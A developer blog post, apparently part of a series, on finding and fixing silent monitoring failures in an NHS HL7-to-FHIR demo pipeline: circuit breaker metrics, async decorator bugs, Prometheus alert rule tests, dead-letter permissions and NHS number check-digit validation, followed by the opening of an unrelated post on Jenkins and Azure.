&lt;p&gt;I started the transform service, sent a message, and scraped &lt;code&gt;/metrics&lt;/code&gt;. Twenty-eight metric families, and &lt;code&gt;pybreaker_state&lt;/code&gt; is not among them. Nothing with &lt;code&gt;breaker&lt;/code&gt; or &lt;code&gt;circuit&lt;/code&gt; in the name at all.&lt;/p&gt;

&lt;p&gt;Then I drove the breaker open, which takes five failures:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;breaker before      : closed | failures: 0
breaker after       : open   | failures: 5
pybreaker_state now : False
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The breaker is open. The pipeline has stopped enriching. The alert cannot fire, and there is no other signal anywhere.&lt;/p&gt;

&lt;p&gt;pybreaker makes this easy to fix. It has a &lt;code&gt;CircuitBreakerListener&lt;/code&gt; with a &lt;code&gt;state_change&lt;/code&gt; hook, which is called on every transition, so there is nothing to poll:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;_BreakerStateExporter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pybreaker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CircuitBreakerListener&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;state_change&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;old_state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_state&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;BREAKER_STATE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;labels&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;_BREAKER_STATE_VALUES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That &lt;code&gt;getattr(new_state, "name", None)&lt;/code&gt; is the second version. My first read &lt;code&gt;new_state.state&lt;/code&gt;, which does not exist in pybreaker 1.2.0. The state objects carry a &lt;code&gt;name&lt;/code&gt; instead, holding the string &lt;code&gt;closed&lt;/code&gt;, &lt;code&gt;open&lt;/code&gt; or &lt;code&gt;half-open&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The failure mode of getting that wrong is the thing this whole article is about. &lt;code&gt;getattr&lt;/code&gt; with a default does not raise. The lookup misses, falls back to &lt;code&gt;0&lt;/code&gt;, and the gauge sits there reading closed while the breaker is open. I would have shipped a fix for an unfireable alert that left it unfireable, and the metric would have existed, which is worse, because now the dashboard has a panel on it.&lt;/p&gt;

&lt;p&gt;The test caught it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Fields that fail to map leave no trace
&lt;/h3&gt;

&lt;p&gt;Part 3 was about nine mapping defects. The reason all nine survived is in this article: only a whole-message parse failure goes to the dead-letter folder. A single field that fails to map is simply absent from the resource, and the message returns 200.&lt;/p&gt;

&lt;p&gt;I sent a message with an unparseable date of birth:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;message with an unparseable date of birth -&amp;gt; HTTP 200
birthDate in the resource : False
hl7_dlq_total moved?      : no
any metric for a lost field: none
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The mapper now reports what it dropped, and transform turns that into&lt;br&gt;
&lt;code&gt;hl7_field_dropped_total{segment,field,reason}&lt;/code&gt;. The mapper itself stays free of Prometheus imports: it reports, the service counts. Known gaps like PID-11 and PV1-19 come through as &lt;code&gt;not_mapped&lt;/code&gt;, so they are visible without being alarming, and &lt;code&gt;unparseable_date&lt;/code&gt; is the one with an alert on it.&lt;/p&gt;
&lt;h3&gt;
  
  
  Alert rules are code that only runs during an incident
&lt;/h3&gt;

&lt;p&gt;Which is the actual reason this sat here for weeks. Nothing in the build ever executed that rule.&lt;/p&gt;

&lt;p&gt;Prometheus ships a unit test framework for alerting rules, and it took about twenty minutes to use. You give it synthetic series and assert which alerts fire and when:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;interval&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;1m&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;PDSCircuitOpen fires once the breaker is open&lt;/span&gt;
  &lt;span class="na"&gt;input_series&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;series&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;pybreaker_state{name="pds"}'&lt;/span&gt;
      &lt;span class="na"&gt;values&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;0x5&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;1x10"&lt;/span&gt;
  &lt;span class="na"&gt;alert_rule_test&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;eval_time&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;4m&lt;/span&gt;
      &lt;span class="na"&gt;alertname&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;PDSCircuitOpen&lt;/span&gt;
      &lt;span class="na"&gt;exp_alerts&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[]&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;eval_time&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;9m&lt;/span&gt;
      &lt;span class="na"&gt;alertname&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;PDSCircuitOpen&lt;/span&gt;
      &lt;span class="na"&gt;exp_alerts&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;exp_labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{&lt;/span&gt; &lt;span class="nv"&gt;severity&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;warning&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;team&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;interop&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;pds&lt;/span&gt; &lt;span class="pi"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are nine cases now. The one I would keep if I could only keep one is this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;with no series exported the rule is silent, which was the bug&lt;/span&gt;
  &lt;span class="na"&gt;input_series&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;series&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;up{job="transform"}'&lt;/span&gt;
      &lt;span class="na"&gt;values&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1x20"&lt;/span&gt;
  &lt;span class="na"&gt;alert_rule_test&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;eval_time&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;15m&lt;/span&gt;
      &lt;span class="na"&gt;alertname&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;PDSCircuitOpen&lt;/span&gt;
      &lt;span class="na"&gt;exp_alerts&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is the repo as it actually stood. The rule is right, there is nothing for it to read, and the test documents that this is indistinguishable from health.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;promtool check rules&lt;/code&gt; and &lt;code&gt;promtool test rules&lt;/code&gt; now run as a CI job, so the rules are exercised on every pull request rather than during the first outage.&lt;/p&gt;

&lt;h3&gt;
  
  
  Watching it fire, rather than trusting the test
&lt;/h3&gt;

&lt;p&gt;A promtool test proves the expression is right. It does not prove the pipeline produces the series under real conditions, so the last step was to break the thing on purpose:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight make"&gt;&lt;code&gt;&lt;span class="err"&gt;make&lt;/span&gt; &lt;span class="err"&gt;break-pds&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That stops &lt;code&gt;pds-client&lt;/code&gt;, sends eight messages two seconds apart, and prints the gauge after each one. Every message returns 200 throughout, which is the whole point: enrichment has stopped, the stored demographics are now whatever arrived in the message, and the front door is reporting success.&lt;/p&gt;

&lt;p&gt;The first time I ran it against the real stack, the gauge read 0 after all eight messages. The breaker never opened.&lt;/p&gt;

&lt;h3&gt;
  
  
  The fix that still could not fire
&lt;/h3&gt;

&lt;p&gt;The unit test for the gauge passed because it drove the breaker with an&lt;br&gt;
ordinary function. The real PDS call is &lt;code&gt;async&lt;/code&gt;, and I had wrapped it with pybreaker's decorator:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@pds_breaker&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_call&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="bp"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;pybreaker's only async support is for Tornado, and its README does not mention asyncio at all. On an &lt;code&gt;async def&lt;/code&gt; function, the decorator calls it, gets a coroutine object back, and records a success. The request fails later, when the coroutine is awaited, outside the breaker. The running service had logged 16 PDS failures, and the breaker had counted none of them.&lt;/p&gt;

&lt;p&gt;The fix is pybreaker's &lt;code&gt;calling()&lt;/code&gt; context manager, which wraps the awaited block itself:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_call&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;pds_breaker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;calling&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;PDS_LATENCY&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;labels&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;outcome&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is now a test that goes through the real async path with PDS failing. It fails against the old code.&lt;/p&gt;

&lt;p&gt;It's the same shape as the &lt;code&gt;getattr&lt;/code&gt; bug, one layer further down. The rule was right, the gauge was right, the listener was right, and the breaker they all depended on was never told anything had gone wrong. Every layer had a test and every test passed.&lt;/p&gt;

&lt;p&gt;With the fix in, the breaker opens on the fifth message, and &lt;code&gt;PDSCircuitOpen&lt;/code&gt; goes to Firing once the rule's two minutes have passed.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffdeg6ew7zsbrvtzgnj3m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffdeg6ew7zsbrvtzgnj3m.png" alt="Prometheus alerts page showing PDSCircuitOpen in the Firing state" width="800" height="118"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I had also worried that &lt;code&gt;for: 2m&lt;/code&gt; could never be satisfied, because the&lt;br&gt;
breaker's &lt;code&gt;reset_timeout&lt;/code&gt; is 30 seconds and I expected the state to bounce between open and half-open. My first check of that went through the same synchronous test path, so it measured nothing real. In the running stack, the gauge held flat at 1 for twelve minutes, until I brought PDS back. pybreaker only moves to half-open when a call arrives after the timeout, and that trial call closes or reopens it in the same moment, so a ten-second scrape never sees it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7lmwidevtijzrxcdjgqu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7lmwidevtijzrxcdjgqu.png" alt="Grafana PDS circuit breaker panel, flat at 0 until 17:27, holding at 1 until PDS was restored at about 17:39, then back to 0" width="800" height="193"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is a second script for the other failure path, and writing it corrected something in my own plan for this article. The plan said to "stop the transform service mid-burst and show the DLQ". That does not work. The dead-letter folder is written by transform, so stopping transform means nothing writes to it at all: ingest logs the failure and answers 200 with &lt;code&gt;forwarded: false&lt;/code&gt;. To fill the dead-letter folder you have to break what transform writes to, which is HAPI FHIR. &lt;code&gt;make break-fhir&lt;/code&gt; does that.&lt;/p&gt;

&lt;p&gt;Its first real run found one more. Every dead-letter write failed with&lt;br&gt;
&lt;code&gt;PermissionError&lt;/code&gt;. The service runs as an unprivileged user, and the Docker volume mounted over its dead-letter folder belonged to root, because the image never created that folder. So the messages the folder exists to keep were the ones being lost. The image now creates the folder, owned by the service user, and Docker copies it into a new volume when the volume is first created.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fof7k1bw4lc72fvwhqze8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fof7k1bw4lc72fvwhqze8.png" alt="Prometheus alerts page showing DLQRateHigh in the Firing state" width="797" height="116"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  The panels, which I nearly forgot
&lt;/h3&gt;

&lt;p&gt;Four new metrics and, for most of a day, no way to see any of them. The Grafana dashboard had six panels, and not one showed the breaker state, the dropped fields, the invalid NHS numbers or the write identity.&lt;/p&gt;

&lt;p&gt;That is a fairly pointed thing to nearly ship in an article about not being able to see things. The series existed, and the alerts worked, and the place people actually look had not changed at all. There are ten panels now.&lt;/p&gt;
&lt;h2&gt;
  
  
  The one a reader found
&lt;/h2&gt;

&lt;p&gt;Kevin Mayfield, who does health integration and data architecture for a living, read Part 3 and pointed out something I had not considered at all.&lt;/p&gt;

&lt;p&gt;I had just shipped a fix that keys patient identity on the NHS number, as a conditional update. He pointed out that his trust is near the Scottish border, and that a Scottish CHI number sometimes arrives in the NHS Number field. More than that: a patient's NHS number can change when they move between the Scottish and English NHS.&lt;/p&gt;

&lt;p&gt;Which means the identity key I had just built the whole write path around is not stable.&lt;/p&gt;

&lt;p&gt;I tested it. Same patient, same hospital number, two messages with different NHS numbers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;message 1 request : PUT Patient?identifier=...nhs-number|1111111111
message 2 request : PUT Patient?identifier=...nhs-number|9000000009
same target?      : False
local MRN in both : L12345, L12345
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two records. The hospital number is identical in both messages and is simply not looked at. Nothing counts it, nothing alerts on it, and the FHIR server returns 200 twice.&lt;/p&gt;

&lt;p&gt;That led somewhere I should have gone in Part 3. If the NHS number is the identity key, is it ever validated?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;9000000009   checksum valid: True   accepted: True
1111111111   checksum valid: True   accepted: True
1234567890   checksum valid: False  accepted: True
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No. An NHS number carries a Modulus 11 check digit, and the NHS Data Dictionary is unambiguous about it: "The check digit is validated using the Modulus 11 algorithm, and the use of this algorithm is mandatory." Multiply the first nine digits by 10 down to 2, sum, take the remainder modulo 11, and subtract from 11. A result of 11 means a check digit of 0, and "If the result is 10 then the NHS NUMBER is invalid and not used".&lt;/p&gt;

&lt;p&gt;I was not running it. &lt;code&gt;1234567890&lt;/code&gt; was being accepted as an NHS number and used to match a patient.&lt;/p&gt;

&lt;p&gt;This is also a partial answer to Kevin's CHI point, which is why it is worth doing beyond tidiness. A CHI number is also ten digits, and it will not satisfy the NHS check digit. So a sending system supplying CHI numbers in the NHS Number field now shows up as a rate on &lt;code&gt;nhs_number_invalid_total&lt;/code&gt; rather than as silently mismatched patients.&lt;/p&gt;

&lt;p&gt;An identifier that fails the check is still kept on the resource, because the sender sent it and dropping it loses information. It is just never used to look a patient up or to match an existing record. A wrong identity is worse than no identity.&lt;/p&gt;

&lt;p&gt;Writes with nothing to match on are now counted as &lt;code&gt;patient_write_total{identity="none"}&lt;/code&gt;, and there is an alert when that passes a tenth of writes.&lt;/p&gt;

&lt;h2&gt;
  
  
  What none of this catches
&lt;/h2&gt;

&lt;p&gt;The thing Kevin actually described is not a metric problem.&lt;/p&gt;

&lt;p&gt;Counting writes with no identity tells you when matching is degrading. It does not tell you that the same person has arrived twice under two different NHS numbers, because from inside a single message that looks completely normal. Both messages are valid, both have good check digits, both write successfully.&lt;/p&gt;

&lt;p&gt;Catching that needs a matching step, which is what he does:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I have a scoring system based on identifier, date of birth, gender, name and postcode. I weight MRN and NHS the highest, then DOB.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A demographic query first, then a weighted score across several fields, rather than trusting one identifier. He also raised the fetus and baby case, where a newborn may not have its own NHS number yet, which breaks identifier-first matching in a different direction.&lt;/p&gt;

&lt;p&gt;That is a substantial piece of work, and it is not in this week's change. What this week does is make the conditions that feed it visible, so when the matching goes in there is something to measure it against.&lt;/p&gt;

&lt;h2&gt;
  
  
  Worth stealing
&lt;/h2&gt;

&lt;p&gt;Test your alert rules. They are the only code in the repo that runs exclusively during an incident, which makes them the least exercised and the most load-bearing. &lt;code&gt;promtool test rules&lt;/code&gt; exists and takes an afternoon to adopt.&lt;/p&gt;

&lt;p&gt;Assert the series exists, not just that the rule is right. My rule was correct the whole time. The failure was one level below it, and no amount of reviewing the expression would have found it.&lt;/p&gt;

&lt;p&gt;Watch for silent fallbacks in monitoring code: &lt;code&gt;getattr&lt;/code&gt; with a default, or a synchronous decorator around an &lt;code&gt;async&lt;/code&gt; function. Both fail by doing nothing, in the thing that is supposed to tell you about silent failures. My gauge read zero for the same reason the alert read quiet.&lt;/p&gt;

&lt;p&gt;Count the successes you are unsure about. Error rates are the easy half. &lt;code&gt;patient_write_total{identity="none"}&lt;/code&gt; counts requests that returned 200 and did something I would rather they had not.&lt;/p&gt;

&lt;p&gt;Export the metric and add the panel in the same change. I had the series, the alert and the rule test before I noticed the dashboard still showed the same six panels it had in week one. A metric nobody has a graph for is halfway back to where this started.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where AI helps here, and where it doesn't
&lt;/h2&gt;

&lt;p&gt;I built this project with Claude Code. This week I had it write the metrics, the promtool tests and the break scripts, then made it prove each one against the running stack, not the code.&lt;/p&gt;

&lt;p&gt;Writing the listener, the metrics and the promtool cases was quick. The useful part was the step before: starting the service, scraping &lt;code&gt;/metrics&lt;/code&gt; and reading the list of what was actually there, rather than reading the alert file and the service code and believing they lined up. They had not lined up for weeks, and both halves looked correct on their own.&lt;/p&gt;

&lt;p&gt;It also wrote the async decorator bug, and the first timing check that went through the same synchronous path. Both were caught the same way, by running the real stack and reading what it did.&lt;/p&gt;

&lt;p&gt;Four weeks in, the pattern is stable enough to state plainly. Every finding in this series has come from running the thing, and the two most valuable have come from people who read it and knew more than I did about the domain. Neither of those is a code review.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd do differently
&lt;/h2&gt;

&lt;p&gt;I would have written the alert rule tests at the same time as the alert rules, in the first week. Not because the rules were wrong, but because writing the test is what forces you to produce the series, and producing the series is what I had skipped.&lt;/p&gt;

&lt;p&gt;I would also have written the break scripts first. &lt;code&gt;make break-pds&lt;/code&gt; is about thirty lines, and it is the only thing here that tests the whole chain, from a stopped container through to a rule evaluating in Prometheus. Everything else in this article tests one layer and assumes the next one. I would also have run it before tagging this part, not after.&lt;/p&gt;

&lt;p&gt;And I would have remembered that fixing the code does not fix the data it already wrote. The demo database held 996 copies of the same test patient from before Part 3's conditional update. The conditional update then refused, correctly, to pick one, with the 412 the FHIR spec requires. I reset the demo database. A trust can't, and that is where the matching work Kevin described begins.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://archive.datadictionary.nhs.uk/DD%20Release%20May%202024/attributes/nhs_number.html" rel="noopener noreferrer"&gt;NHS Data Dictionary: NHS NUMBER, including the Modulus 11 check&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://prometheus.io/docs/prometheus/latest/configuration/unit_testing_rules/" rel="noopener noreferrer"&gt;Prometheus: unit testing rules&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://prometheus.io/docs/prometheus/latest/configuration/alerting_rules/" rel="noopener noreferrer"&gt;Prometheus: alerting rules&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/pybreaker/" rel="noopener noreferrer"&gt;pybreaker on PyPI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/danielfm/pybreaker#readme" rel="noopener noreferrer"&gt;pybreaker README: the &lt;code&gt;calling()&lt;/code&gt; context manager and Tornado-only async support&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hl7.org/fhir/R4/http.html#cond-update" rel="noopener noreferrer"&gt;FHIR R4: conditional update, including the 412 on multiple matches&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.docker.com/engine/storage/volumes/" rel="noopener noreferrer"&gt;Docker: populating a volume from a container&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/prometheus/client_python" rel="noopener noreferrer"&gt;prometheus_client for Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ND-codes/nhs-interop-platform/tree/part-4" rel="noopener noreferrer"&gt;The code for this article, tag part-4&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Next
&lt;/h2&gt;

&lt;p&gt;Part 5, on 11 November, is security and compliance, which has a backlog of its own: two documents in this repo describe a &lt;code&gt;DataClass&lt;/code&gt; tag applied by a Terraform block that is commented out.&lt;/p&gt;

&lt;p&gt;Which of your alert rules has never fired, and do you know whether that is good news?&lt;/p&gt;




&lt;p&gt;This is a personal project. It is not affiliated with or endorsed by NHS England or any NHS organisation. It uses the public PDS FHIR sandbox and synthetic test data only. Views are my own.&lt;/p&gt;

</description>
      <category>discuss</category>
      <category>programming</category>
      <category>devops</category>
      <category>ai</category>
    </item>
    <item>
      <title>Day 77: A Pipeline and a Private Subnet</title>
      <dc:creator>Nnamdi Felix Ibe</dc:creator>
      <pubDate>Mon, 02 Nov 2026 18:00:00 +0000</pubDate>
      <link>https://dev.to/ndcodes/day-77-a-pipeline-and-a-private-subnet-4dl3</link>
      <guid>https://dev.to/ndcodes/day-77-a-pipeline-and-a-private-subnet-4dl3</guid>
      <description>&lt;p&gt;Day 77 of DevOps, Day 27 of Azure. Both tasks today were about a path that exists until it doesn't.&lt;/p&gt;

&lt;p&gt;A two-line shell script deployed an application and quietly depended on three things nobody had checked. And an Azure VM built with no public IP turned out to be the exact configuration that the platform is in the middle of changing underneath.&lt;/p&gt;

&lt;p&gt;One Jenkins task, one Azure task. Write a first declarative pipeline, then build a VM reachable only from inside its own network. The tasks come from the KodeKloud Engineer platform.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 1: A first declarative pipeline
&lt;/h2&gt;

&lt;p&gt;The task: a Pipeline job named &lt;code&gt;datacenter-webapp-job&lt;/code&gt; that pulls the latest code from &lt;code&gt;master&lt;/code&gt; onto &lt;code&gt;stapp01&lt;/code&gt;.&lt;/p&gt;

